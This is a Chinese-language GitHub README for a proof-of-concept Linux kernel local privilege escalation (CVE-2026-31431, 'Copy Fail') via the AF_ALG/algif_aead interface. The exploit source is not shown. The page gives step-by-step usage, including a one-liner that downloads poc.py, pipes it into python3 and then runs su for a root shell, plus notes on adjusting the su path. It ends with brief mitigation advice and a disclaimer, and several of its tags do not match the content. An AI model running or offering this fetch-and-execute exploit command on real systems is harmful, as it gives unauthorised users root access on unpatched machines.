Karim33z/CVE-2026-31431
GitHub: Karim33z/CVE-2026-31431
针对 CVE-2026-31431 的教育性 PoC,利用 Linux 内核 AF_ALG/algif_aead 加密接口缺陷实现本地权限提升。
Stars: 0 | Forks: 0
# CVE-2026-31431 - Copy Fail 概念验证
针对 **CVE-2026-31431**(又称 **Copy Fail**)的教育性概念验证。这是一个涉及 `AF_ALG` / `algif_aead` 加密接口的 Linux 内核本地权限提升漏洞。
## 概述
**CVE-2026-31431** 是一个影响 Linux 内核加密子系统的本地权限提升漏洞。
该漏洞涉及通过 `AF_ALG` 接口暴露的 AEAD 路径,可能允许本地无特权用户干扰与可读文件相关的页缓存数据,从而可能在受影响的系统上导致权限提升。
本仓库包含一个极简的、用于受控实验环境的教育性概念验证。
## 环境要求
目标系统必须公开所需的 `AF_ALG` AEAD 算法。
你可以通过以下命令进行检查:
```
grep -i "authencesn\|authenc" /proc/crypto
```
该 PoC 需要系统支持类似于以下的算法:
```
authencesn(hmac(sha256),cbc(aes))
```
如果该算法不可用,PoC 可能会失败并报出如下错误:
```
FileNotFoundError: [Errno 2] No such file or directory
```
这意味着系统上所需的内核加密算法不可用。
## 使用方法
克隆本仓库:
```
git clone https://github.com/Karim33z/CVE-2026-31431.git
cd CVE-2026-31431
```
运行 PoC:
```
python3 poc.py
```
或者直接运行:
```
curl -s https://raw.githubusercontent.com/Karim33z/CVE-2026-31431/refs/heads/main/poc.py | python3 && su
```
## 兼容性说明
某些 Linux 系统使用 `/bin/su` 而不是 `/usr/bin/su`。你可以通过以下命令检查正确的路径:
```
which su
```
如有必要,请修改 `poc.py` 中的目标路径。
## 故障排除
### 缺少 AEAD 算法
如果在绑定到 `authencesn(hmac(sha256),cbc(aes))` 时收到 `FileNotFoundError: [Errno 2] No such file or directory` 错误,则说明所需的内核算法不可用。
检查可用的加密算法:
```
cat /proc/crypto
```
或者更具体地检查:
```
grep -i "authencesn\|authenc\|cbc(aes)\|sha256" /proc/crypto
```
### su 路径错误
如果 PoC 引用了 `/usr/bin/su`,但你的系统使用的是 `/bin/su`,请通过以下命令进行确认:
```
which su
```
然后相应地更新 `poc.py` 中的路径。
## 缓解措施
防御者应更新至其发行版供应商提供的已修补 Linux 内核版本。
更新内核后,请重新启动系统以确保已激活修补后的内核。
临时缓解措施可以根据具体环境和发行版,包括限制对受影响内核加密功能的访问。
## 法律免责声明
本项目仅用于以下目的:
- 安全研究
- 防御验证
- 教育目的
- 经授权的实验室测试
作者对因使用此代码而导致的误用、损害或非法活动不承担任何责任。
请仅在您拥有明确授权的系统上使用。
## 许可证
本项目基于 MIT 许可证授权。
标签:AF_ALG, algif_aead, Copy Fail, CVE-2026-31431, edu/prof, Kernel Exploit, Linux内核漏洞, Linux加密子系统, LPE, PoC, Python, Web报告查看器, 无后门, 暴力破解, 本地提权, 概念验证, 网络安全, 逆向工具, 隐私保护, 页缓存篡改